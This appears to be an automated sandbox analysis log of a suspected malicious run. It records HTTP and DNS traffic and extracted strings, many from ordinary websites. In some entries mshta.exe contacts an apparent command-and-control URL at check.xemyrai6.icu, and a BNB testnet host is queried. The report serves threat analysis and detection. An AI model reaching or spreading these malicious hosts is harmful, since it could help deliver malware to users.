Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/system-status-counter.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/system-status-report-counters.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/system-status-report-general-info.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/tablesort.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/views/css/views.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/system.admin.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/system.maintenance.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /modules/contrib/extlink/extlink.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /themes/oamp_theme/css/maintenance-page.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /themes/oamp_theme/css/base.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /themes/oamp_theme/css/media.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sites/default/files/images/NIH_OM_Logo_2Color.jpg HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /themes/oamp_theme/css/style.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive

Source: chromecache_186.1.dr	String found in binary or memory: <div class="wpb_video_wrapper"><iframe title="Teubes Corporate Video 2021" width="625" height="352" src="https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe></div> equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: (g.ub(Y,"redirector.googlevideo.com"),V=Y.toString()):Y.W.match("rr?[1-9].*\\.c\\.youtube\\.com$")?(g.ub(Y,"www.youtube.com"),V=Y.toString()):(Y=M$W(V),m1(Y)&&(V=Y));Y=new g.t8(V);Y.set("cmo=pf","1");L&&Y.set("cmo=td","a1.googlevideo.com");return Y}; equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: B3f=function(r,D){if(!r.W["0"]){var Y=new wv("0","fakesb",{video:new PP(0,0,0,void 0,void 0,"auto")});r.W["0"]=D?new n8(new g.t8("http://www.youtube.com/videoplayback"),Y,"fake"):new Q$(new g.t8("http://www.youtube.com/videoplayback"),Y,new ER(0,0),new ER(0,0))}}; equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: D.customBaseYoutubeUrl:r.BASE_YT_URL)\|\|"")\|\|B_(this.Yi)\|\|this.protocol+"://www.youtube.com/";I=D?D.eventLabel:r.el;V="detailpage";I==="adunit"?V=this.S?"embedded":"detailpage":I==="embedded"\|\|this.N?V=Qt(V,I,VJ6):I&&(V="embedded");this.Gv=V;dso();I=null;V=D?D.playerStyle:r.ps;T=g.HS(Ls4,V);!V\|\|T&&!this.N\|\|(I=V);this.playerStyle=I;this.D=g.HS(Ls4,this.playerStyle);this.houseBrandUserStatus=D==null?void 0:D.houseBrandUserStatus;this.LP=this.D&&this.playerStyle!=="play"&&this.playerStyle!=="jamboard"; equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: D=this.api.Z();r=this.api.getVideoData();var Y="";D.L\|\|(D=g.Ho(D),D.indexOf("www.")===0&&(D=D.substring(4)),Y=g.mG(r)?"Watch on YouTube Music":D==="youtube.com"?"Watch on YouTube":g.On("Watch on $WEBSITE",{WEBSITE:D}));this.updateValue("title",Y)}; equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: Rq.prototype.As=function(){return this.JY.l()};var IHa=(new Date).getTime();var G_Q="://secure-...imrworldwide.com/ ://cdn.imrworldwide.com/ ://aksecure.imrworldwide.com/ ://[^.]*.moatads.com ://youtube[0-9]+.moatpixel.com ://pm.adsafeprotected.com/youtube ://pm.test-adsafeprotected.com/youtube ://e[0-9]+.yt.srs.doubleverify.com www.google.com/pagead/xsul www.youtube.com/pagead/slav".split(" "),MU6=/\bocr\b/;var Qaf=/(?:\[\|%5B)([a-zA-Z0-9_]+)(?:\]\|%5D)/g;var O6f=0,A1x=0,hEz=0;var pEo=Object.assign({},{attributes:{},handleError:function(r){throw r;}},{YU_:!0, equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: g.Ho=function(r){r=ZR(r.FS);return r==="www.youtube-nocookie.com"?"www.youtube.com":r}; equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: g.m0=function(r){var D=g.Ho(r);s2E.includes(D)&&(D="www.youtube.com");return r.protocol+"://"+D}; equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: g.x.getVideoUrl=function(r,D,Y,V,L,T,I){D={list:D};Y&&(L?D.time_continue=Y:D.t=Y);Y=I?"music.youtube.com":g.Ho(this);L=Y==="www.youtube.com";!T&&V&&L?T="https://youtu.be/"+r:g.bd(this)?(T="https://"+Y+"/fire",D.v=r):(T&&L?(T=this.protocol+"://"+Y+"/shorts/"+r,V&&(D.feature="share")):(T=this.protocol+"://"+Y+"/watch",D.v=r),Vf&&(r=ndP())&&(D.ebc=r));return g.Hl(T,D)}; equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: new Set;this.deviceIsAudioOnly=!(D==null\|\|!D.deviceIsAudioOnly);this.C0=sc(this.C0,r.ismb);this.kE?(W=r.vss_host\|\|"s.youtube.com",W==="s.youtube.com"&&(W=ZR(this.FS)\|\|"www.youtube.com")):W="video.google.com";this.Cg=W;XJ(this,r,!0);this.rT=new G2;g.v(this,this.rT);a=D?D.innertubeApiKey:aw("",r.innertube_api_key);y=D?D.innertubeApiVersion:aw("",r.innertube_api_version);W=D?D.innertubeContextClientVersion:aw("",r.innertube_context_client_version);a=g.Vk("INNERTUBE_API_KEY")\|\|a;y=g.Vk("INNERTUBE_API_VERSION")\|\| equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: r))):this.api.Z().V("enable_adb_handling_in_sabr")&&Y==="BROWSER_OR_EXTENSION_ERROR"&&!V.D?(V=V.hostLanguage,r="//support.google.com/youtube/answer/3037019#zippy=%2Cupdate-your-browser-and-check-your-extensions",V&&(r=g.Hl(r,{hl:V})),this.JC(cC(this,"BROWSER_OR_EXTENSION_ERROR",r))):this.JC(g.bF(r.errorMessage)):this.JC(cC(this,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK_WITH_LINK_SHORT","//www.youtube.com/supported_browsers")):(r=V.hostLanguage,Y="//support.google.com/youtube/?p=player_error1",r&&(Y=g.Hl(Y, equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: r.details.rc!=="429"?r.errorCode==="ump.spsrejectfailure"&&(L="HTML5_SPS_UMP_STATUS_REJECTED"):(L="TOO_MANY_REQUESTS",T="6");this.fP.HX(r.errorCode,r.severity,L,Eb(r.details),T)}else this.fP.publish("nonfatalerror",r),V=/^pp/.test(this.videoData.clientPlaybackNonce),this.bd(r.errorCode,r.details),V&&r.errorCode==="manifest.net.connect"&&(r="https://www.youtube.com/generate_204?cpn="+this.videoData.clientPlaybackNonce+"&t="+(0,g.dU)(),Kt(r,"manifest",function(I){D.D=!0;D.Wo("pathprobe",I)},function(I){D.bd(I.errorCode, equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: this.ag.i$&&(r.authuser=this.ag.i$);this.ag.pageId&&(r.pageid=this.ag.pageId);isNaN(this.cryptoPeriodIndex)\|\|(r.cpi=this.cryptoPeriodIndex.toString());var L=(L=/_(TV\|STB\|GAME\|OTT\|ATV\|BDP)_/.exec(g.iq()))?L[1]:"";L==="ATV"&&(r.cdt=L);this.j=r;this.j.session_id=V;this.Y=!0;this.T.flavor==="widevine"&&(this.j.hdr="1");this.T.flavor==="playready"&&(D=Number(T2(D.experiments,"playready_first_play_expiration")),!isNaN(D)&&D>=0&&(this.j.mfpe=""+D),this.Y=!1);D="";g.Zs(this.T)?Cx(this.T)?(V=Y.T)&&(D="https://www.youtube.com/api/drm/fps?ek="+ equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: ui.prototype.logTrace=function(r){this.encoder.reset();this.encoder.add(1);this.encoder.add(r.resources.length);for(var D=g.F(r.resources),Y=D.next();!Y.done;Y=D.next()){Y=Y.value.replace("https://www.youtube.com/s/","");this.encoder.add(Y.length);for(var V=0;V<Y.length;V++)this.encoder.add(Y.charCodeAt(V))}this.encoder.add(r.frames.length);D=g.F(r.frames);for(Y=D.next();!Y.done;Y=D.next()){Y=Y.value;this.encoder.add(Y.name.length);for(V=0;V<Y.name.length;V++)this.encoder.add(Y.name.charCodeAt(V)); equals www.youtube.com (Youtube)
Source: chromecache_131.1.dr	String found in binary or memory: var Aj={};var eIr={H0:[{rd:/Unable to load player module/,weight:20},{rd:/Failed to fetch/,weight:500},{rd:/XHR API fetch failed/,weight:10},{rd:/JSON parsing failed after XHR fetch/,weight:10},{rd:/Retrying OnePlatform request/,weight:10},{rd:/CSN Missing or undefined during playback association/,weight:100},{rd:/Non-recoverable error. Do not retry./,weight:0},{rd:/Internal Error. Retry with an exponential backoff./,weight:0},{rd:/API disabled by application./,weight:0}],AP:[{callback:q7Y,weight:500}]};var E1o=/[&\?]action_proxy=1/,lfw=/[&\?]token=([\w-])/,R9y=/[&\?]video_id=([\w-])/,z94=/[&\?]index=([\d-])/,dXP=/[&\?]m_pos_ms=([\d-])/,Noo=/[&\?]vvt=([\w-]*)/,AAz="ca_type dt el flash u_tz u_his u_h u_w u_ah u_aw u_cd u_nplug u_nmime frm u_java bc bih biw brdim vis wgl".split(" "),S7o="www.youtube-nocookie.com youtube-nocookie.com www.youtube-nocookie.com:443 youtube.googleapis.com www.youtubeedu.com www.youtubeeducation.com video.google.com redirector.gvt1.com".split(" "),h9w={android:"ANDROID", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.teubes.com
Source: global traffic	DNS traffic detected: DNS query: teubes.com
Source: global traffic	DNS traffic detected: DNS query: data-seed-prebsc-1-s1.bnbchain.org
Source: global traffic	DNS traffic detected: DNS query: _8545._https.data-seed-prebsc-1-s1.bnbchain.org
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: i.ytimg.com
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.ru
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: static.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: yt3.ggpht.com
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.com
Source: global traffic	DNS traffic detected: DNS query: s.w.org
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: check.xemyrai6.icu
Source: global traffic	DNS traffic detected: DNS query: oamp.od.nih.gov
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: kit.fontawesome.com

Source: unknown

HTTP traffic detected: POST /youtubei/v1/log_event?alt=json HTTP/1.1Host: www.youtube.comConnection: keep-aliveContent-Length: 11350sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0X-YouTube-Client-Name: 56X-YouTube-Ad-Signals: dt=1742212950974&flash=0&frm=2&u_tz=-240&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&bc=31&bih=-12245933&biw=-12245933&brdim=0%2C0%2C0%2C0%2C1280%2C0%2C1280%2C984%2C719%2C404&vis=1&wgl=true&ca_type=imageX-Goog-Event-Time: 1742212955811X-YouTube-Client-Version: 1.20250311.01.00.if6Content-Type: application/jsonX-YouTube-Page-Label: youtube.player.web_20250311_01_RC00X-YouTube-Page-CL: 735968808X-YouTube-Utc-Offset: -240X-YouTube-Device: cbr=Chrome&cbrver=134.0.0.0&ceng=WebKit&cengver=537.36&cos=Windows&cosver=10.0&cplatform=DESKTOPX-Goog-Visitor-Id: CgtzZXJuVU9wM0dYayjVnuC-BjIKCgJVUxIEGgAgXg%3D%3DX-Goog-Request-Time: 1742212955811User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36X-YouTube-Time-Zone: America/New_YorkAccept: */*Origin: https://www.youtube.comX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembedAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: YSC=3frnwIjvAKc; VISITOR_INFO1_LIVE=sernUOp3GXk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 12:02:30 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.teubes.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 17 Mar 2025 12:02:54 GMTContent-Length: 9Connection: closeaccess-control-allow-headers: accept, accept-langauge, content-language, content-type, fa-kit-tokenaccess-control-allow-methods: GET, OPTIONSaccess-control-allow-origin: *access-control-max-age: 3000Cache-Control: max-age=0, private, must-revalidatex-request-id: GC2VeC4Hb2HRE9z1jbUBCF-Cache-Status: MISSServer: cloudflareCF-RAY: 921c5810fa0c5e80-EWR

Source: chromecache_155.1.dr	String found in binary or memory: http://fontawesome.com
Source: chromecache_155.1.dr	String found in binary or memory: http://fontawesome.com/license
Source: chromecache_145.1.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_145.1.dr	String found in binary or memory: http://fontawesome.io/license
Source: chromecache_186.1.dr	String found in binary or memory: http://gmpg.org/xfn/11
Source: chromecache_193.1.dr, chromecache_152.1.dr, chromecache_163.1.dr, chromecache_168.1.dr	String found in binary or memory: http://go.wpbakery.com/licensing
Source: chromecache_186.1.dr	String found in binary or memory: http://instagram.com
Source: chromecache_186.1.dr	String found in binary or memory: http://instagram.com/
Source: clearfix.module[1].css.12.dr	String found in binary or memory: http://nicolasgallagher.com/micro-clearfix-hack
Source: chromecache_182.1.dr	String found in binary or memory: http://tizen.org/system/tizenid
Source: chromecache_131.1.dr, chromecache_137.1.dr	String found in binary or memory: http://tools.ietf.org/html/rfc1950
Source: chromecache_186.1.dr	String found in binary or memory: http://wordpress.org
Source: chromecache_186.1.dr	String found in binary or memory: http://wordpress.org/
Source: chromecache_191.1.dr	String found in binary or memory: http://wordpress.org/extend/plugins/wp-jquery-lightbox/
Source: chromecache_180.1.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: http://www.nih.gov/about/access.htm
Source: chromecache_131.1.dr	String found in binary or memory: http://www.youtube.com/videoplayback
Source: chromecache_131.1.dr	String found in binary or memory: http://youtube.com/drm/2012/10/10
Source: chromecache_131.1.dr	String found in binary or memory: http://youtube.com/streaming/metadata/segment/102015
Source: chromecache_131.1.dr	String found in binary or memory: http://youtube.com/streaming/otf/durations/112015
Source: chromecache_131.1.dr	String found in binary or memory: http://youtube.com/yt/2012/10/10
Source: chromecache_131.1.dr	String found in binary or memory: https://admin.youtube.com
Source: mshta.exe, 0000000C.00000002.1765951687.0000000006B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/
Source: mshta.exe, 0000000C.00000003.1301382090.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B81000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.jsC:
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.jsdK
Source: mshta.exe, 0000000C.00000003.1307988870.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.jswap:K
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/jxu3
Source: chromecache_131.1.dr	String found in binary or memory: https://angular.dev/license
Source: chromecache_186.1.dr	String found in binary or memory: https://api.w.org/
Source: mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://check.xemyrai6.icu/
Source: mshta.exe, 0000000C.00000002.1759638434.0000000003360000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: mshta.exe, 0000000C.00000002.1761070655.0000000003670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0#
Source: mshta.exe, 0000000C.00000002.1759638434.000000000337F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0/
Source: mshta.exe, 0000000C.00000002.1759638434.0000000003360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0EVEL=6PROCESSOR_REVISI
Source: mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0J
Source: mshta.exe, 0000000C.00000002.1759638434.000000000337F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0z
Source: chromecache_180.1.dr	String found in binary or memory: https://core.trac.wordpress.org/ticket/25888.
Source: mshta.exe, 0000000C.00000002.1767618367.0000000006E51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/hosted-libraries-pushers
Source: mshta.exe, 0000000C.00000003.1307988870.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1767618367.0000000006E51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/hosted-libraries-pushers
Source: chromecache_131.1.dr	String found in binary or memory: https://docs.google.com/get_video_info
Source: chromecache_182.1.dr	String found in binary or memory: https://eu.asas.yango.com/mapuid
Source: chromecache_182.1.dr	String found in binary or memory: https://fcpe.beeline.ru/sync/me?guid
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/
Source: mshta.exe, 0000000C.00000003.1301382090.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Open
Source: chromecache_186.1.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: chromecache_186.1.dr	String found in binary or memory: https://fonts.gstatic.com
Source: mshta.exe, 0000000C.00000002.1767618367.0000000006E7B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352562416.0000000006E7B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407508862.0000000006E7A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1308404264.0000000006E7B000.00000004.00000020.00020000.00000000.sdmp, css2[1].css.12.dr	String found in binary or memory: https://fonts.gstatic.com/l/font?kit=memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0C4m&skey=6
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqW106F15M.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWt06F15M.woff2)
Source: chromecache_158.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtE6F15M.woff2)
